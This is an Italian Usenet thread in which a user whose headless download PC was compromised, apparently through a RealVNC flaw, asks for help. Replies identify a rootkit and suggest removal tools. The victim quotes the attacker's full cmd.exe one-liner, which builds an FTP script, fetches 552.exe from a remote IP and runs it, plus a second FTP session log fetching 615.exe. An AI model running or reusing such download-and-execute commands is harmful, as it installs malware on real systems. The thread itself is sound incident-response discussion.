Newsgroup: it.comp.sicurezza.windows
Titolo: AIUTO! - intruso che avvia comandi FTP

Ho trovato il "muletto" che stava eseguendo questa riga di comando:
cmd.exe /c del i&echo open 23.255.173.38 7775 > i&echo user 1 1 >> i 
&echo get 552.exe >> i &echo quit >> i &ftp -n -s:i &552.exe&del i&exit
Mi pare di capire che si è connesso "spontaneamente" all'FTP 
23.255.173.38 sulla porta 7775 inserendo username e password 1 1
ha scaricato il file 552.exe
poi non capisco cosa ne fa...
Qualcuno sa darmi spiegazioni???
-- 
-------------------------------
-------- Mechmaniac'77 --------
------- Alfona 156 1.8ts ------
--- Monster 600 carburatori ---
-- togli N O S P A M x reply --
-------------------------------

 &552.exe
Lo esegue.. :-s
-- 
		Luca Amicone
		ICQ: 14890779
"Risorse per la risoluzione dei problemi relativi a Condivisione 
connessione Internet in Windows XP" 
http://support.microsoft.com/?id=308021

 poi non capisco cosa ne fa...
Esegue l'exe (&552.exe) e cancella lo script (&del i) per poi uscire (&exit).
L'exe ha fatto il danno...
Ciao,
-- 
        Roberto Divia`              Love at first sight is one of the greatest
Dep:PH Bat:53 Mailbox:C02110      labour-saving devices the world has ever seen
Route de Meyrin 385               ---------------------------------------------
Case Postale                                Phone:  
+41-22-767-4994
CH-1211 Geneve 23 CERN                      Fax:    
+41-22-767-9585
Switzerland                                 E-Mail: 
Robert...@cern.ch

 Ciao,
Ho trovato l'exe.
È nella cartella C:\User e settings\administrator :/
Ma è di 0Kb, e soprattutto... se mi connetto a quella FTP, che tanto ho 
username e password, non mi ci fa connettere, come se fosse offline...
Mi sono salvato?
Cmq nel registro trovo 4 chiavi:
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Explorer 
Bars\{C4EE31F3-4768-11D2-BE5C-00A0C9A83DA1}\FilesNamedMRU
Nome 000, valore REG_SZ, Dati 552.exe...
...\{C4EE31F3-4768-11D2-BE5C-00A0C9A83DA1}\ComputerNameMRU
Nome 000, valore REG_SZ, Dati <nome_mio_computer>...
HKEY_USERS\S-1-5-21-1343024091-839522115-854245398-500\SOFTWARE\Microsoft\Internet 
Explorer\Explorer Bars\{C4EE31F3-4768-11D2-BE5C-00A0C9A83DA1}\FilesNamedMRU
Nome 000, valore REG_SZ, Dati 552.exe...
...\{C4EE31F3-4768-11D2-BE5C-00A0C9A83DA1}\ComputerNameMRU
Nome 000, valore REG_SZ, Dati <nome_mio_computer>...
{C4EE31F3-4768-11D2-BE5C-00A0C9A83DA1}
Considerato che mi mette una specie di "barra aggiuntiva" in internet 
explorer ne deduco che apra conenuti malizioni mentre navigo
L'antivirus (Antivir) non s'è accorto di nulla... :(
Maggiori informazioni?


 Maggiori informazioni?
http://www.microsoft.com/italy/technet/community/mvp/editoriali/spyware.mspx
E di corsa.. :s
-- 
		Luca Amicone
		ICQ: 14890779
"Problems Running FreeCell And Solitaire with Office XP Installed" 
http://support.microsoft.com/?id=304402

 
Altra connessione:
ftp> open 23.255.182.54 5718
Connesso a 23.255.182.54.
220 Reptile welcomes you..
ftp> user 1 1
331 Password required
230 User logged in.
ftp> get 615.exe
200 PORT command successful.
150 Opening BINARY mode data connection
Questo era nel CMD in esecuzione appena finito di eseguire una nuova 
stringa da "Esegui" ....


 E di corsa.. :s
La soluzione dovrebbe essere questa:
http://www.microsoft.com/downloads/details.aspx?displaylang=it&FamilyID=9A3BFBDD-62EA-4DB2-88D2-415E095E207F


 
Entrano lo stesso... :|
Il firewall di windows è un colabrodo...
A parte Zone Alarm, esiste qualcosa di facilmente configurabile?
Uso solo Emule, Cerberus FTP server, WinVNC, faccio pochissima 
navigazione internet (con Mozilla).
Come AV ho Antivir.
Che consigliate?


 Mi sono salvato?
No.
Fai una ricerca in rete per "552.exe" e "615.exe" e vedrai...


 ftp> open 23.255.182.54 5718
www.nod32.it
Scarica spambot trojan cleaner, che a occhio mi sembra sia l'avvocato.
-- 
           |Save our planet!
    Ciao   |Save wildlife!
   roberto |For your E-MAIL use ONLY recycled Bytes  !!
           |roberto poggi   
rpo...@softhome.net

> Qualcuno sa darmi spiegazioni???
Si; sei stato infettato dal "reptile" rootkit

> La soluzione dovrebbe essere questa:
NO; sei GIA' infettato e non c'è verso; segui le istruzioni
al link che ti ha postato Luca; non c'è altro metodo; non
provare altro perchè tanto NON servirebbe a nulla
ciao

 Si; sei stato infettato dal "reptile" rootkit
Ma com'è 'sta storia che il muletto esegue dei comandi?
Io uso eMule ogni tanto... a cosa dovrei stare attento?
Dove si può vedere quali comandi eMule esegue o ha eseguito?


Essendo un rootkit, ed avendo gią un rootikit revealer installato, potrei
eliminarlo a questo modo?
Sono abbastanza pratico di rimozione spyware a mano, ma questo mi č nuovo.
Niente nella cartella di registro /Run, niente dentro /runonce, nessun file
infetto su disco sistema...
Eliminando la cartella rootkit da CMD risolvo?
--------------------------------
Inviato via 
http://arianna.libero.it/usenet/



No, aspetta...
Come "muletto" intendo il pc muletto, quello con hardware ignobile e hdd 
enorme, che lascio a scaricare di notte o in mia assenza.
Comunque ho scoperto di cosa si tratta.
Alla base c'è questo:
http://secunia.com/advisories/20107/
un bug di vulnerabilità della versione 4.1.1 di Real VNC, che uso come 
desktop remoto inquanto suddetto muletto non ha neanche un monitor e un 
mouse :|
Bug che ovviamente viene sfruttato da menti insane per installare rootkit 
maligni.
Ora non sono in sede, ma come torno a casa rimetto monitor e mouse lavoro 
offline per dargli una bella slavata.
Domani seguiranno ulteriori notizie sulla soluzione del problema. 


Ho avuto il tuo stesso ed identico problena su  2 pc,con la vecchia versione
di vnc,ho risolto il tutto utilizzando questi programmi:
virit explorer lite;
FixLinkopt.exe
RootkitRevealer
altre soluzioni qui:
http://www.sophos.it/products/free-tools/sophos-anti-rootkit.html
qui la guida passo passo in pdf:
http://collectiontricks.p2pforum.it/modules/tutorials/viewexttutorial.php?ti
d=17
.
Per vnc scarica la nuova versione nella quale hanno risolto il bug (
www.vnc.com
 )
io utilizzo il vnc viewer (eseguibile senza installazione) sul pc primario e
vnc 4.1.2 sul muletto.
ciao
Luca

 monitor e mouse lavoro offline per dargli una bella slavata.
ottima idea :) e già che ci sei, una volta "ripulita" tieni
sotto controllo le connessioni della macchina dato
che basta lasciare "qualche pezzo" per ritrovarsi
punto ed a capo
ciao

 potrei eliminarlo a questo modo?
NO; segui PASSO per PASSO le istruzioni che troverai qui
http://www.microsoft.com/italy/technet/community/mvp/editoriali/spyware.mspx
senza e ripeto SENZA saltare alcun passo e seguendo tutti
i passi alla lettera; al termine, in caso di problemi, riposta
pure qui
ciao


www.vnc.com
 )
Per curiositá, anche tightvnc-1.2.9 (che uso saltuariamente) ha quel bug?
-- 
,,, e dopo che ci avranno trasformato in vegetariani, a causa del vino al
metanolo, del pesce al mercurio, dei polli alla diossina, dei maiali agli
ormoni,  delle mucche,  pecore e  capre pazze,  ci daranno da mangiare la
frutta al benzene e la verdura radioattiva.
La nostra unica salvezza sara' nel Soylent Green!

 
Ho fatto un po di test con rootkit revealer e rimozione malware + 
antivirus e ricerca parasite ma non ho trovato una mazza....
Forse ho un pc troppo scarso e non hanno fatto in tempo a installarsi?


 Per curiositá, anche tightvnc-1.2.9 (che uso saltuariamente) ha quel bug?
guarda non saperi dirti,collegati al sito del produttore e vedi se c'e' una
versione aggiornata
www.tightvnc.com
ciao
----------------------------------------------------------------------------
----
La mia Cartella di Posta in Arrivo è protetta con SPAMfighter
53 messaggi contenenti spam sono stati bloccati con successo.
Scarica gratuitamente SPAMfighter!

 
Se i temibili K6 son qualche migliaio mi sa che di danni ne fai
-- 
Roberto Tagliaferri-Linux user #30785 <-> r.tagliaferri@(forse)
tosnet.it
Errare e' umano.  Ma ti fa sentire divino!
		-- Mae West

 mouse :|
Per queste cose si usa linux , su quello i .exe non fanno danni ...

> Per queste cose si usa linux , su quello i .exe non fanno danni ...
Vuoi che ti dia una stima dei servers "LAMP" sfondati ed
usati come "phishing" servers negli ultimi quattro mesi ?
Non sto dicendo che Linux sia meno sicuro o cose del
genere solo che... capita (purtroppo) spesso che ci sia
gente che solo perchè usa Linux si sente "al sicuro" .. e
poi si ritrova con la macchina "sfondata" solo perchè
ha pubblicato il sitarello con apache e PHP seguendo
le istruzioni (RTFM) ma senza fare "hardening" nè
aggiornare PHP (che magari è pieno di buchi) :(
Ripeto.. lungi da me l'intenzione di far partire un flame
ma .. a prescindere dal sistema operativo un sistema
"compromesso" è COMUNQUE dannoso
ciao

 "compromesso" è COMUNQUE dannoso
infatti , nel caso in questione la macchina e' da piallare a zero

 tranquillo ...
Ehm .. TU magari non lo installi.. ma parecchi worms che ho visto
in giro appena sfondano un sistema si affettano a piazzarci sopra
http://www.apachefriends.org/en/xampp.html
 ed a quel punto beh :)
e .. si lo so che il firewall è parte integrante del kernel.. ma mica solo
in Linux :) windows (da NT in avanti.. NON 9x/ME :D) ha le API di
packetfiltering integrate nel kernel.. il problema è che sono in pochi
ad usarle come si deve :D